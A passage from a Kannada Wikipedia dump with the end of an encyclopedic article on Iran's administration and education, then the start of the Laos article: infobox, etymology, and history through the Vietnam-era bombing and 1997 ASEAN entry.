ವಿಭಜಿತವಾಗಿದೆ. ಪ್ರತಿ ಉಸ್ತಾನದ ಆಡಳಿತ ಉಸ್ತಾನದಾರ ನೋಡಿಕೊಳ್ಳುತ್ತಾನೆ. ಅದನ್ನು ಮತ್ತೆ ಜಿಲ್ಲೆ, ಹಳ್ಳಿಗಳ ಗುಂಪು ಮತ್ತು ಹಳ್ಳಿಗಳಾಗಿ ವಿಂಗಡಿಸಲಾಗಿದೆ. ಹಳ್ಳಿಯ ಮುಖ್ಯಸ್ಥನನ್ನುಳಿದು ಇತರ ಎಲ್ಲ ವಿಭಾಗಗಳ ಅಧಿಕಾರಿಗಳು ಕೇಂದ್ರ ಸರ್ಕಾರದಿಂದ ನೇಮಿತರಾದವರು. ಇರಾನ್ ಶೈಕ್ಷಣಿಕವಾಗಿ ಹಿಂದುಳಿದಿದ್ದು ಸಾಕ್ಷರತೆ ಕೇವಲ 40% ಮಾತ್ರ. ಪ್ರಗತಿಕಾರ್ಯ ಭರದಿಂದ ಸಾಗಿದೆ. 1963ರಲ್ಲಿ ರಚಿತಗೊಂಡ ಶೈಕ್ಷಣಿಕ ಮಂಡಲಿ ನಿರಕ್ಷರತೆಯ ವಿರುದ್ಧ ಹೋರಾಡುತ್ತಿದೆ. ಇರಾನಿನಲ್ಲಿ ಒಟ್ಟು 7 ವಿಶ್ವವಿದ್ಯಾನಿಲಯಗಳು ಹಾಗೂ 27,265ಕ್ಕಿಂತಲೂ ಹೆಚ್ಚು ಶಾಲೆಗಳು ಇವೆ. ಈ ದೇಶದಲ್ಲಿ ಸುಮಾರು 140 ವಿವಿಧ ಪತ್ರಿಕೆಗಳು ಪ್ರಕಟವಾಗುತ್ತವೆ. ಸಂಪ್ರದಾಯವಾದಿ ಪ್ರವೃತ್ತಿಯಿಂದಾಗಿ ಈ ದೇಶದ ಪ್ರಗತಿ ಅಷ್ಟೊಂದು ತ್ವರಿತಗತಿಯಲ್ಲಿ ಸಾಗುತ್ತಿಲ್ಲ. ನಿರಕ್ಷರತೆ, ಬಡತನ, ರೋಗರುಜಿನಗಳು ದೇಶದ ಆಂತರಿಕ ಶತ್ರುಗಳಾಗಿವೆ. ಇತ್ತೀಚೆಗೆ ದೇಶ ಆಧುನಿಕತೆಯತ್ತ ಸಾಗುತ್ತಿದೆ. ಹೆಚ್ಚಿನ ಪ್ರಮಾಣದಲ್ಲಿರುವ ಬೇಸಾಯಗಾರರ ಜೀವನಮಟ್ಟ ಸುಧಾರಿಸಲು ಸರ್ಕಾರ ಪ್ರಯತ್ನ ಮಾಡುತ್ತಲಿದೆ. ಇರಾನ್ ಪಾಶ್ಚಾತ್ಯ ಹಾಗೂ ಪೌರ್ವಾತ್ಯ ರಾಷ್ಟ್ರಗಳೊಂದಿಗೆ ಸೌಹಾರ್ದ ಭಾವನೆ ಹೊಂದಿದೆ. == ಇರಾನಿನ ಭಾಷೆಗಳು == ಇದನ್ನು ನೋಡಿ [[ಇರಾನೀ ಭಾಷೆಗಳು]] == ಉಲ್ಲೇಖಗಳು == {{Reflist}}{{Includes Wikisource|ಮೈಸೂರು ವಿಶ್ವವಿದ್ಯಾನಿಲಯ ವಿಶ್ವಕೋಶ/ ಇರಾನ್}} [[ವರ್ಗ:ಮೈಸೂರು ವಿಶ್ವವಿದ್ಯಾನಿಲಯ ವಿಶ್ವಕೋಶ]] [[ವರ್ಗ:ಏಷ್ಯಾ ಖಂಡದ ದೇಶಗಳು]] [[ವರ್ಗ:ದಕ್ಷಿಣ ಏಷ್ಯಾ]] [[ವರ್ಗ:ಇರಾನ್]] 6zm4wff3zhupm61it8zmjslq26za5h7 ಲಾವೋಸ್ 0 13708 1116435 1079620 2022-08-23T12:32:34Z InternetArchiveBot 69876 Rescuing 3 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{Otheruses}} {{Infobox Country |native_name = ສາທາລະນະລັດ ປະຊາທິປະໄຕ ປະຊາຊົນລາວ<br />''Sathalanalat Paxathipatai Paxaxon Lao'' |conventional_long_name = Lao People's Democratic Republic |common_name = Laos |image_flag = Flag of Laos.svg |image_coat = Coat_of_arms_of_Laos.svg |symbol_type = Coat of arms |image_map = Location Laos ASEAN.svg |map_caption = {{map caption|location_color=green|region=[[ASEAN]]|region_color=dark grey|legend=Location Laos ASEAN.svg}} |national_motto = "ສັນຕິພາບ ເອກະລາດ ປະຊາທິປະໄຕ ເອກະພາບ ວັດທະນາຖາວອນ"<br />"Peace, Independence, Democracy, Unity and Prosperity" |national_anthem = ''[[Pheng Xat Lao]]'' |official_languages = [[Lao language|Lao]] |languages_type = [[Official script]]s |languages = [[Lao script]] |demonym = [[Lao people|Laotian]], [[Lao people|Lao]] |capital = [[Vientiane]] |latd=17 |latm=58 |latNS=N |longd=102 |longm=36 |longEW=E |largest_city = capital |government_type = [[Socialist state|Socialist republic]],<br />[[Single-party state|Single-party]] [[communist state]] |leader_title1 = [[President of Laos|President]] |leader_name1 = [[Lieutenant General|Lt. Gen.]] [[Choummaly Sayasone]] |leader_title2 = [[Vice President of Laos|Vice President]] |leader_name2 = [[Bounnhang Vorachith]] |leader_title3 = [[Prime Minister of Laos|Prime Minister]] |leader_name3 = [[Bouasone Bouphavanh]] |leader_title4 = [[National Assembly of Laos|President of National Assembly]] |leader_name4 = [[Thongsing Thammavong]] |leader_title5 = [[President of the People's Supreme Court of Laos|President of the People's Supreme Court]] |leader_name5 = [[Khammi Sayavong]] |sovereignty_type = [[Independence]] |sovereignty_note = From [[ಫ್ರಾನ್ಸ್]] |established_event1 = Date |established_date1 = 19 July, 1949 |area_rank = 83rd |area_magnitude = 1 E11 |area_km2 = 236,800 |area_sq_mi = 91,429 <!--Do not remove per [[WP:MOSNUM]]--> |percent_water = 2 |population_estimate = 6,320,000<ref name=unpop>{{cite paper | url=https://www.un.org/esa/population/publications/wpp2008/wpp2008_text_tables.pdf | title=World Population Prospects, Table A.1| version=2008 revision | format=.PDF | publisher=United Nations | author=Department of Economic and Social Affairs Population Division | date=2009 | accessdate= 2009-03-12}}</ref> |population_estimate_year = 2009 |population_estimate_rank = 101st |population_census = 4,574,848 |population_census_year = 1995 |population_density_km2 = 26.7 |population_density_sq_mi = 69.1 <!--Do not remove per [[WP:MOSNUM]]--> |population_density_rank = 177th |GDP_PPP_year = 2008 |GDP_PPP = $13.310 billion<ref name=imf2>{{cite web|url=http://www.imf.org/external/pubs/ft/weo/2009/02/weodata/weorept.aspx?sy=2006&ey=2009&scsm=1&ssd=1&sort=country&ds=.&br=1&c=544&s=NGDPD%2CNGDPDPC%2CPPPGDP%2CPPPPC%2CLP&grp=0&a=&pr1.x=37&pr1.y=8 |title=Laos|publisher=International Monetary Fund|accessdate=2009-10-01}}</ref> <!--Do not edit!--> |GDP_PPP_rank = 129th |GDP_PPP_per_capita = $2,127<ref name=imf2/> <!--Do not edit!--> |GDP_PPP_per_capita_rank = 137th |GDP_nominal = $5.374 billion<ref name=imf2/> <!--Do not edit!--> |GDP_nominal_year = 2008 |GDP_nominal_per_capita = $859<ref name=imf2/> <!--Do not edit!--> |HDI_year = 2007 <!--Please use the year in which the HDI data refers to and not the publication year--> |HDI = {{increase}} 0.619<ref name="UN">{{cite web|url=http://hdr.undp.org/en/media/HDR_2009_EN_Complete.pdf|title=Human Development Report 2009. Human development index trends: Table G|publisher=The United Nations|accessdate=2009-10-05}}</ref> |HDI_rank = 133rd |HDI_category = <span style="color:#ffcc00;">medium</span> |Gini = 34.6 |Gini_year = 2008 |Gini_category = <span style="color:#ffcc00;">medium</span> |currency = [[Lao kip|Kip]] |currency_code = LAK |time_zone = |utc_offset = +7 |time_zone_DST = |utc_offset_DST = |drives_on = right |cctld = [[.la]] |calling_code = 856}} ಅಧಿಕೃತವಾಗಿ '''ಲಾವೊ ಪೀಪಲ್ಸ್ ಡೆಮೋಕ್ರಟಿಕ್ ರಿಪಬ್ಲಿಕ್''' ಎಂದು ಕರೆಯುವ '''ಲಾವೋಸ್‌‌''' ({{pronEng|ˈlɑː.oʊs}}, {{IPA|/ˈlaʊ/}} ಅಥವಾ {{IPA|/ˈleɪ.ɒs/}}) [[ಆಗ್ನೇಯ ಏಷ್ಯಾ]]ದ [[ಸಂಪೂರ್ಣವಾಗಿ ನೆಲಾವೃತವಾದ]] ಒಂದು ರಾಷ್ಟ್ರವಾಗಿದೆ. ಇದು ವಾಯವ್ಯದಲ್ಲಿ [[ಬರ್ಮಾ]] ಮತ್ತು [[ಪೀಪಲ್ಸ್ ರಿಪಬ್ಲಿಕ್ ಆಫ್ ಚೀನಾ(ಪ್ರಜಾಪ್ರಭುತ್ವ ಚೀನಾ)]], ಪೂರ್ವದಲ್ಲಿ [[ವಿಯೆಟ್ನಾಂ]], ದಕ್ಷಿಣದಲ್ಲಿ [[ಕಾಂಬೋಡಿಯ]] ಹಾಗೂ ಪಶ್ಚಿಮದಲ್ಲಿ [[ಥೈಲೆಂಡ್‌]] ದೇಶಗಳ ಗಡಿಗಳಿಂದ ಆವೃತವಾಗಿದೆ. ಲಾವೋಸ್‌‌ [[14ರಿಂದ]] [[18ನೇ ಶತಮಾನ]]ದವರೆಗೆ ಅಸ್ತಿತ್ವದಲ್ಲಿದ್ದ [[ಲ್ಯಾನ್-ಕ್ಸಾಂಗ್‌]]‌ ಸಾಮ್ರಾಜ್ಯ ಅಥವಾ ''ದಶಲಕ್ಷ ಆನೆಗಳನ್ನು ಹೊಂದಿದ್ದ ನೆಲ'' ಎಂಬ ಹೆಸರಿನಲ್ಲಿ ಅದರ ಇತಿಹಾಸವನ್ನು ನಿರೂಪಿಸುತ್ತದೆ. [[ಫ್ರೆಂಚ್‌ ರಕ್ಷಿತ ಪ್ರದೇಶ]] ಅವಧಿಯ ನಂತರ ಇದು 1949ರಲ್ಲಿ ಸ್ವಾತಂತ್ರ್ಯ ಪಡೆಯಿತು. ದೀರ್ಘಕಾಲದ [[ಆಂತರಿಕ ಯುದ್ಧ]]ವು ಕಮ್ಯೂನಿಸ್ಟ್ [[ಪ್ಯಾಥೆಟ್ ಲಾವೊ]] ಆಂದೋಲನದ ನಾಯಕತ್ವ 1975ರಲ್ಲಿ ಅಧಿಕಾರಕ್ಕೆ ಬಂದಾಗ ಅಧಿಕೃತವಾಗಿ ಕೊನೆಗೊಂಡಿತು. ಆದರೆ ಬಣಗಳ ನಡುವಿನ ಪ್ರತಿಭಟನೆಗಳು ಅನೇಕ ವರ್ಷಗಳ ಕಾಲ ಮುಂದುವರಿಯಿತು. ಇಲ್ಲಿನ ಜನಸಂಖ್ಯೆಯ ನಲವತ್ತನಾಲ್ಕು ಪ್ರತಿಶತ ಜನರು 2006ರ ಅಂಕಿಅಂಶದಂತೆ ದಿನವೊಂದಕ್ಕೆ US$1.25ಕ್ಕೆ ಸಮಾನವಾಗಿರುವ ಅಂತಾರಾಷ್ಟ್ರೀಯ ಬಡತನ ರೇಖೆಗಿಂತ ಕೆಳಗಡೆ ಬದುಕುತ್ತಿದ್ದಾರೆ. ಆದರೂ CIA ವರ್ಲ್ಡ್ ಫ್ಯಾಕ್ಟ್‌ಬುಕ್ ಈ ಅಂಕಿಅಂಶವನ್ನು ಪ್ರಸ್ತುತ 26%ನಷ್ಟು ಎಂದಿದೆ.<ref>[http://hdr.undp.org/en/media/HDI_2008_EN_Tables.pdf ''ಹ್ಯೂಮನ್ ಡೆವೆಲ್ಮೆಂಟ್ ಇಂಡೀಸಸ್'' ], ಕೋಷ್ಟಕ 3: ಮಾನವ ಮತ್ತು ಆದಾಯದ ಅಭಾವ, ಪುಟ 35. ಜೂನ್ 1ರ 2009ರಲ್ಲಿ ಮರುಸಂಪಾದಿಸಲಾಗಿದೆ.</ref> == ವ್ಯುತ್ಪತ್ತಿ ಶಾಸ್ತ್ರ == [[ಲಾವೊ ಭಾಷೆ]]ಯಲ್ಲಿ ರಾಷ್ಟ್ರದ ಹೆಸರು "ಮಿಯಾಂಗ್ ಲಾವೊ (ເມືອງລາວ)" ಎಂದಿದೆ, ಇದರ ವಾಚ್ಯಾರ್ಥ "ಲಾವೊ ರಾಷ್ಟ್ರ". 1893ರಲ್ಲಿ ಮ‌ೂರು ಪ್ರತ್ಯೇಕ ಲಾವೊ ರಾಜ್ಯಗಳನ್ನು [[ಫ್ರೆಂಚ್‌ ಇಂಡೊಚೀನಾ]]ದಲ್ಲಿ ಒಟ್ಟಗೂಡಿಸಿದ ಫ್ರೆಂಚ್‌, ಅನೇಕ ಲಾವೊ ಸಾಮ್ರಾಜ್ಯಗಳ ಏಕತೆಯನ್ನು ಸೂಚಿಸಲು ಆ ರಾಷ್ಟ್ರದ ಹೆಸರಿನ ಕೊನೆಯ "s" ಅಕ್ಷರವನ್ನು ಉಚ್ಚಾರಣರಹಿತವಾಗಿ ಹೇಳುತ್ತಿತ್ತು (ಲಾವೊ ಬಾಷೆಯಲ್ಲಿ ಕೊನೆಗೆ "s" ಎಂಬ ಉಚ್ಚಾರಣೆ ಇಲ್ಲದಿರುವುದರಿಂದ ಲಾವೊ ಜನರು ಇದನ್ನು ಅವರ ಮಾತೃಭಾಷೆಯಲ್ಲಿ ಹಾಗೆಯೇ ಉಚ್ಚರಿಸುತ್ತಾರೆ. ಆದರೂ ಕೆಲವರು ವಿಶೇಷವಾಗಿ ಹೊರದೇಶದಲ್ಲಿ ವಾಸಿಸುವವರು "s"ನಲ್ಲಿ ಕೊನೆಗೊಳ್ಳುವ ಉಚ್ಚಾರಣೆಯನ್ನು ಬಳಸುತ್ತಾರೆ). ಸಾಮಾನ್ಯ ಗುಣವಾಚಕ ರೂಪವೆಂದರೆ "ಲಾವೊ". ಉದಾ. "ಲಾವೊ ಆರ್ಥಿಕ ವ್ಯವಸ್ಥೆ" ಸರಿ "ಲಾವೋಷಿಯನ್" ಆರ್ಥಿಕ ವ್ಯವಸ್ಥೆಯಲ್ಲ, ಆದರೂ [[ಲಾವೊ ಜನಾಂಗೀಯ]]ಗುಂಪಿನ ಜತೆ ಗೊಂದಲವನ್ನು ದೂರಮಾಡುವುದಕ್ಕಾಗಿ "ಲಾವೋಷಿಯನ್"ಅನ್ನು ಲಾವೋಸ್‌‌‌ನ ಜನರ ಬಗ್ಗೆ ವಿವರಿಸಲು ಬಳಸಲಾಗುತ್ತದೆ. 1975ರಿಂದ ಈಚೆಗಿನ ಅಧಿಕೃತ ರಾಷ್ಟ್ರದ ಹೆಸರು ಲಾವೊ PDR. == ಇತಿಹಾಸ == {{Main|History of Laos}} ಲಾವೋಸ್‌‌ ಅದರ ಇತಿಹಾಸವನ್ನು [[14ನೇ ಶತಮಾನ]] (1353)ದಲ್ಲಿ ಫಾ ಗಮ್‌ನಿಂದ ಸ್ಥಾಪಿಸಲ್ಪಟ್ಟ [[ಲ್ಯಾನ್-ಕ್ಸಾಂಗ್‌]]‌ಸಾಮ್ರಾಜ್ಯದವರೆಗೆ ನಿರೂಪಿಸುತ್ತದೆ. ಫಾ ಗಮ್ ಸ್ವತಃ ಸುದೀರ್ಘ ಸಾಲಿನ ಲಾವೋ ರಾಜರ ವಂಶಜನಾಗಿದ್ದು, ಕೌನ್ ಬೌಲಮ್‌ವರೆಗೂ ವಂಶಜರ ಜಾಡು ಸಿಗುತ್ತದೆ. ಲ್ಯಾನ್-ಕ್ಸಾಂಗ್ ರಾಜ್ಯವು ಮೂರು ಸಂಸ್ಥಾನಗಳಾಗಿ ವಿಭಾಗವಾಗಿ [[ಸಿಯಾಮೆಸೆ]] [[ಸಾರ್ವಭೌಮತ್ವ]]ದಡಿಯಲ್ಲಿ ಆಳ್ವಿಕೆಗೆ ಬರುವವರೆಗೆ [[18ನೇ ಶತಮಾನ]]ದವರೆಗೆ ಏಳಿಗೆ ಹೊಂದಿದನು. [[19ನೇ ಶತಮಾನ]]ದಲ್ಲಿ ಲ್ವಾಂಗ್ ಪ್ರಬಂಗ್‌ [[ಫ್ರೆಂಚ್‌-ಇಂಡೊಚೀನಾ]]ದ 'ರಕ್ಷಣೆ'ದೊಂದಿಗೆ ಏಕೀಕೃತವಾಯಿತು. ಸ್ವಲ್ಪ ಕಾಲದ ನಂತರ [[ಚಂಪಾಸಕ್‌ನ ಸಾಮ್ರಾಜ್ಯ ಮತ್ತು ವಿಯೆಂಟಿಯಾನ್‌|ಚಂಪಾಸಕ್‌ನ ಸಾಮ್ರಾಜ್ಯ ಮತ್ತು [[ವಿಯೆಂಟಿಯಾನ್‌]]]] ಪ್ರದೇಶಗಳೂ ಅದರ ಆಡಳಿತಕ್ಕೆ ಒಳಪಟ್ಟವು. ಫ್ರೆಂಚ್‌ ಆಳ್ವಿಕೆಯಡಿಯಲ್ಲಿ ವಿಯೆಂಟಿಯಾನ್‌ ಮತ್ತೊಮ್ಮೆ ಏಕೀಕೃತ ಲಾವೊ ರಾಜ್ಯಗಳ ರಾಜಧಾನಿಯಾಯಿತು. [[ವಿಶ್ವ ಸಮರ II]]ರ ಸಂದರ್ಭದಲ್ಲಿ [[ಜಪಾನ್‌]]‌ನ ಸಂಕ್ಷಿಪ್ತ ಆಕ್ರಮಣದ ನಂತರ ರಾಷ್ಟ್ರವು 1945ರಲ್ಲಿ ಅದರ ಸ್ವಾತಂತ್ರ್ಯವನ್ನು ಘೋಷಿಸಿಕೊಂಡಿತು. ಆದರೆ [[ಚಾರ್ಲ್ಸ್ ಡಿ ಗಾಲೆ]]ಯ ಆಡಳಿತಡಿಯಲ್ಲಿ ಫ್ರೆಂಚರು ಅದರ ನಿಯಂತ್ರಣವನ್ನು ಪುನಃದೃಢಪಡಿಸಿಕೊಂಡಿತು ಹಾಗೂ 1950ರಲ್ಲಿ ಮಾತ್ರ ಲಾವೋಸ್‌‌‌ಗೆ [[ಫ್ರೆಂಚ್‌ ಒಕ್ಕೂಟ]]ದಡಿಯಲ್ಲಿ "ಸಂಘಟಿತ ರಾಜ್ಯ"ವಾಗಿ ಅರೆ-ಸ್ವಾಯತ್ತೆಯನ್ನು ನೀಡಲಾಯಿತು. ಫ್ರೆಂಚ್‌ 1954ರವರೆಗೆ ಲಾವೋಸ್‌‌ ಸಂವಿಧಾನಿಕ ರಾಜಪ್ರಭುತ್ವವಾಗಿ ಸಂಪೂರ್ಣ ಸ್ವಾತಂತ್ರ್ಯವನ್ನು ಪಡೆಯುವವರೆಗೆ ''ವಸ್ತುತಃ'' ನಿಯಂತ್ರಣವನ್ನು ಇರಿಸಿಕೊಂಡಿತು. [[ಜಿನೇವಾ ಒಪ್ಪಂದ]]ದ ವಿಶೇಷ ವಿನಾಯಿತಿಯಡಿಯಲ್ಲಿ ಫ್ರೆಂಚ್‌ ಸೇನಾ ತರಬೇತಿ ಸಂಸ್ಥೆಯೊಂದು [[ರಾಯಲ್ ಲಾವೋಸ್‌‌ ಸೇನೆ]]ಗೆ ಬೆಂಬಲ ನೀಡುವುದನ್ನು ಮುಂದುವರೆಸಿತು. 1955ರಲ್ಲಿ [[U.S. ರಕ್ಷಣಾ ವಿಭಾಗ]]ವು, U.S. [[ಪ್ರಭಾವ ನಿರೋಧ]] ನೀತಿಯ ಭಾಗವಾಗಿ ಕಮ್ಯೂನಿಸ್ಟ್ [[ಪ್ಯಾಥೆಟ್ ಲಾವೊ]] ವಿರುದ್ಧ ಹೋರಾಟಕ್ಕೆ ರಾಯಲ್ ಲಾವೊ ಆರ್ಮಿಗೆ ನೀಡುತ್ತಿದ್ದ ಫ್ರೆಂಚ್‌ ಬೆಂಬಲದ ಬದಲಾಗಿ ವಿಶೇಷ [[ಕಾರ್ಯಕ್ರಮಗಳ ಮೌಲ್ಯಮಾಪನ ಕಚೇರಿ]]ಯನ್ನು ರಚಿಸಿತು. ಲಾವೋಸ್‌‌ [[ವಿಯೆಟ್ನಾಂ ಕದನ]]ದಲ್ಲಿ ಒತ್ತಾಯಪೂರ್ವಕವಾಗಿ ಭಾಗವಹಿಸಬೇಕಾಯಿತು. ರಾಷ್ಟ್ರದ ಪೂರ್ವ ದಿಕ್ಕಿನ ಪ್ರದೇಶಗಳು ಉತ್ತರ-ವಿಯೆಟ್ನಾಂನ್ನು ಅನುಸರಿಸಿದವು ಹಾಗೂ ಉತ್ತರ-ವಿಯೆಟ್ನಾಂನ್ನು ಸೋದರ ರಾಷ್ಟ್ರವಾಗಿ ಒಪ್ಪಿಕೊಂಡಿತು. [[ದಕ್ಷಿಣ ವಿಯೆಟ್ನಾಂ]] ವಿರುದ್ಧದ ಉತ್ತರ-ವಿಯೆಟ್ನಾಂನ ಕದನಕ್ಕೆ ಲಾವೋಸ್‌‌ ಅದರ ಭೂಪ್ರದೇಶವನ್ನು ಪೂರೈಕೆಯ ಮಾರ್ಗವಾಗಿ ಬಳಸಲು ಅನುವು ಮಾಡಿಕೊಟ್ಟಿತು. ಇದಕ್ಕೆ ಪ್ರತಿಕ್ರಿಯೆಯಾಗಿ [[ಅಮೇರಿಕಾ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ]]ವು ಉತ್ತರ ವಿಯೆಟ್ನಾಂನ ವಿರುದ್ಧ ಬಾಂಬ್ ದಾಳಿಯ ಕಾರ್ಯಾಚರಣೆಯೊಂದನ್ನು ಆರಂಭಿಸಿತು. ಲಾವೋಸ್‌‌ನಲ್ಲಿ ನಿಯಮಿತ ಮತ್ತು‌ ಅನಿಯಮಿತ ಕಮ್ಯೂನಿಸ್ಟ್-ವಿರೋಧಿ ಶಕ್ತಿಗಳಿಗೆ ಹಾಗೂ [[ದಕ್ಷಿಣ ವಿಯೆಟ್ನಾಂ]]ನಿಂದ ಲಾವೋಸ್‌ ದಾಳಿಗೆ ಬೆಂಬಲ ನೀಡಿತು‌. ಈ ಕಾರ್ಯಾಚರಣೆಯ ಪರಿಣಾಮವಾಗಿ [[ಕ್ಷಿಪ್ರ-ಕ್ರಾಂತಿ]]ಯ ಸರಣಿಯೇ ಆರಂಭವಾದವು. ಅಂತಿಮವಾಗಿ ರಾಜಪ್ರಭುತ್ವದ ಲಾವೋಷಿಯನ್ ಸರಕಾರ ಮತ್ತು ಕಮ್ಯೂನಿಸ್ಟ್ ಪ್ಯಾಥೆಟ್ ಲಾವೊ ನಡುವಿನ [[ಲಾವೋಷಿಯನ್ ಆಂತರಿಕ ಯುದ್ಧ]]ಕ್ಕೆ ಕಾರಣವಾಯಿತು. ಈ ಆಂತರಿಕ ಯುದ್ಧದಲ್ಲಿ ಪ್ಯಾಥೆಟ್‌ ಲಾವೊ ಬಂಡಾಯದ ಹಿಂದೆ ಇದ್ದ ನಿಜವಾದ ಶಕ್ತಿಯೆಂದರೆ ಭಾರಿ ಫಿರಂಗಿ ಮತ್ತು ಆಯುಧಸಜ್ಜಿತ ಟ್ಯಾಂಕುಗಳನ್ನು ಹೊಂದಿದ್ದ ಉತ್ತರ ವಿಯೆಟ್ನಾಂ ಸೈನ್ಯ. 1968ರಲ್ಲಿ ಉತ್ತರ ವಿಯೆಟ್ನಾಂ ಸೇನೆಯು ರಾಯಲ್ ಲಾವೊ ಆರ್ಮಿಯ ವಿರುದ್ಧ ಹೋರಾಡಲು ಕಮ್ಯೂನಿಸ್ಟ್‌ ಪ್ಯಾಥೆಟ್‌ ಲಾವೊಗೆ ಸಹಾಯ ಮಾಡುವಂಥ ಬಹು-ವಿಭಾಗಗಳ ದಾಳಿಯನ್ನು ಆರಂಭಿಸಿತು. ಈ ದಾಳಿಯಿಂದಾಗಿ ಸೇನೆಯು ವಿಸರ್ಜನೆಗೊಂಡು, ಸಂಘರ್ಷವನ್ನು [[ಅಮೇರಿಕಾ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ]] ಮತ್ತು [[ಥೈಲೆಂಡ್‌]]‌ನಿಂದ ಹುಟ್ಟಿಕೊಂಡ ಅನಿಯಮಿತ ಪಡೆಗಳಿಗೆ ಬಿಟ್ಟುಕೊಡುವಂತೆ ಮಾಡಿತು. ಈ ದಾಳಿಯು ಹಲವಾರು ಮಂದಿಯ ಪ್ರಾಣಹಾನಿಗೆ ಕಾರಣವಾಯಿತು. ಅಮೇರಿಕಾ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು ಭಾರಿ ಪ್ರಮಾಣದಲ್ಲಿ ವಿಮಾನದಿಂದ ಬಾಂಬ್ ದಾಳಿಗಳನ್ನು ನಡೆಸಿತು. ಲಾವೋಸ್‌‌ 1964ರಿಂದ 1973ರವರೆಗೆ ದಿನದಲ್ಲಿ 24 ಗಂಟೆ ಪ್ರತಿ ಎಂಟು ನಿಮಿಷಗಳಿಗೊಮ್ಮೆ ಸುಮಾರು ಸರಾಸರಿ ಒಂದು B-52 ಬಾಂಬ್-ತೂಕದ ದಾಳಿಗೆ ತುತ್ತಾಗುತ್ತಿತ್ತು ಎಂದು ''[[ದ ಗಾರ್ಡಿಯನ್‌]]'' ವರದಿ ಮಾಡಿದೆ. ಈ ಅವಧಿಯಲ್ಲಿ US ಬಾಂಬ್‌ದಾಳಿ ವಿಮಾನಗಳು ಲಾವೋಸ್‌‌ ಮೇಲೆ [[ಎರಡನೇ ವಿಶ್ವ ಸಮರ]]ದ ಸಂಪೂರ್ಣ ಅವಧಿಯಲ್ಲಿ ಹಾಕಿದ್ದಕ್ಕಿಂತ ಹೆಚ್ಚು ಶಸ್ತ್ರಗಳನ್ನು ಎಸೆದಿವೆ. ಗುರಿಯಿರಿಸಿದ 260 ದಶಲಕ್ಷ ಬಾಂಬ್‌ಗಳಲ್ಲಿ ಅದರಲ್ಲೂ ನಿರ್ದಿಷ್ಟವಾಗಿ ಕ್ಸಿಯಾಂಗ್‌ಖೌಯಾಂಗ್‌ ಪ್ರಾಂತದ ಮೇಲೆ ಬೀಳಿಸಿದ 80 ದಶಲಕ್ಷ ಬಾಂಬ್‌ಗಳು ಸಿಡಿಯದೆ ವಿಫಲವಾಗಿ ಮಾರಕ ಪರಂಪರೆಯನ್ನು ಉಳಿಸಿತು.<ref>https://www.theguardian.com/world/2008/dec/03/laos-cluster-bombs-uxo-deaths</ref> ಇದರಿಂದಾಗಿ ಪ್ರಪಂಚದಲ್ಲೇ ಹೆಚ್ಚು ಬಾಂಬ್‌ದಾಳಿಗೆ ಒಳಗಾದ ರಾಷ್ಟ್ರವೆಂಬ ಸಂದೇಹಪೂರಿತ ಹೆಸರನ್ನು ಪಡೆದುಕೊಂಡಿತು. [[ಚಿತ್ರ:Pha That Luang, Vientiane, Laos.jpg|thumb|left|ವಿಯೆಂಟಿಯಾನ್‌ನಲ್ಲಿರುವ ಫಾ ಥಾಟ್ ಲುವಂಗ್, ಇದು ಲಾವೋಸ್‌‌ನ ರಾಷ್ಟ್ರಲಾಂಛನ]] 1975ರಲ್ಲಿ [[ವಿಯೆಟ್ನಾಂ ಪೀಪಲ್ಸ್ ಆರ್ಮಿ]]ಜತೆ[[ಕಮ್ಯೂನಿಸ್ಟ್‌]] [[ಪ್ಯಾಥೆಟ್‌ ಲಾವೋಸ್‌‌]] [[ಸೋವಿಯತ್ ಒಕ್ಕೂಟ]]ದ ಬೆಂಬಲದೊಂದಿಗೆ, ರಾಜ [[ಸವಂಗ್ ವತ್ತಾನ]]ನನ್ನು 1975ರ ಡಿಸೆಂಬರ್ 2ರಲ್ಲಿ ಅಧಿಕಾರ ತೊರೆಯುವಂತೆ ಬಲವಂತಪಡಿಸಿ [[ರಾಜಪ್ರಭುತ್ವದ ಲಾವೊ ಸರಕಾರ]]ವನ್ನು ಪದಚ್ಯುತಿಗೊಳಿಸಿತು. ಅವನು ನಂತರ ಸೆರೆಯಲ್ಲಿರುವ ಅವಧಿಯಲ್ಲಿ ಸಾವನ್ನಪ್ಪಿದನು. ರಾಷ್ಟ್ರದ ಹತೋಟಿಯನ್ನು ತನ್ನ ಕೈಗೆ ತೆಗೆದುಕೊಂಡ ನಂತರ ಪ್ಯಾಥೆಟ್‌ ಲಾವೊ ಸರಕಾರವು ರಾಷ್ಟ್ರವನ್ನು "ಲಾವೊ ಪೀಪಲ್ಸ್ ಡೆಮೋಕ್ರಟಿಕ್ ರಿಪಬ್ಲಿಕ್" ಎಂದು ಮರುಹೆಸರಿಸಿತು. ಶಸ್ತ್ರಸಜ್ಜಿತ ಪಡೆಯನ್ನು ಸ್ಥಾಪಿಸುವ ಮತ್ತು ರಾಷ್ಟ್ರದ ಮೇಲ್ವಿಚಾರಣೆಯಲ್ಲಿ ಸಹಾಯ ಮಾಡುವಂತಹ ಸಲಹೆಗಾರರನ್ನು ನೇಮಿಸುವ ಹಕ್ಕನ್ನು ವಿಯೆಟ್ನಾಂಗೆ ನೀಡುವ ಒಪ್ಪಂದಗಳಿಗೆ ಸಹಿಹಾಕಿತು. 1970ರ ಉತ್ತರಾರ್ಧದಲ್ಲಿ ವಿಯೆಟ್ನಾಂ ಲಾವೋಸ್‌‌‌ಗೆ [[ಪೀಪಲ್ಸ್ ರಿಪಬ್ಲಿಕ್ ಆಫ್ ಚೀನಾ]]ದೊಂದಿಗಿನ ಸಂಬಂಧವನ್ನು ಕೊನೆಗೊಳಿಸುವಂತೆ ಹೇಳಿತು. ಇದರಿಂದಾಗಿ ಚೀನಾ, USA ಮತ್ತು ಅವುಗಳ ಮಿತ್ರರಾಷ್ಟ್ರಗಳೊಂದಿಗಿನ ವ್ಯಾಪಾರ ಸಂಪರ್ಕವು ಕಡಿದುಹೋಯಿತು. ಸಾಮಾಜೀಕರಣವು 1980ರ ಸಂದರ್ಭದಲ್ಲಿ ಆರ್ಥಿಕ ನಿರ್ಬಂಧಗಳ ಸಡಿಲಿಕೆಯಿಂದಾಗಿ ನಿಧಾನವಾಗಿ ಸ್ಥಾನಪಡೆಯಿತು ಹಾಗೂ ಇದು 1997ರಲ್ಲಿ [[ASEAN]]ಗೆ ಪ್ರವೇಶ ಪಡೆಯಿತು. == 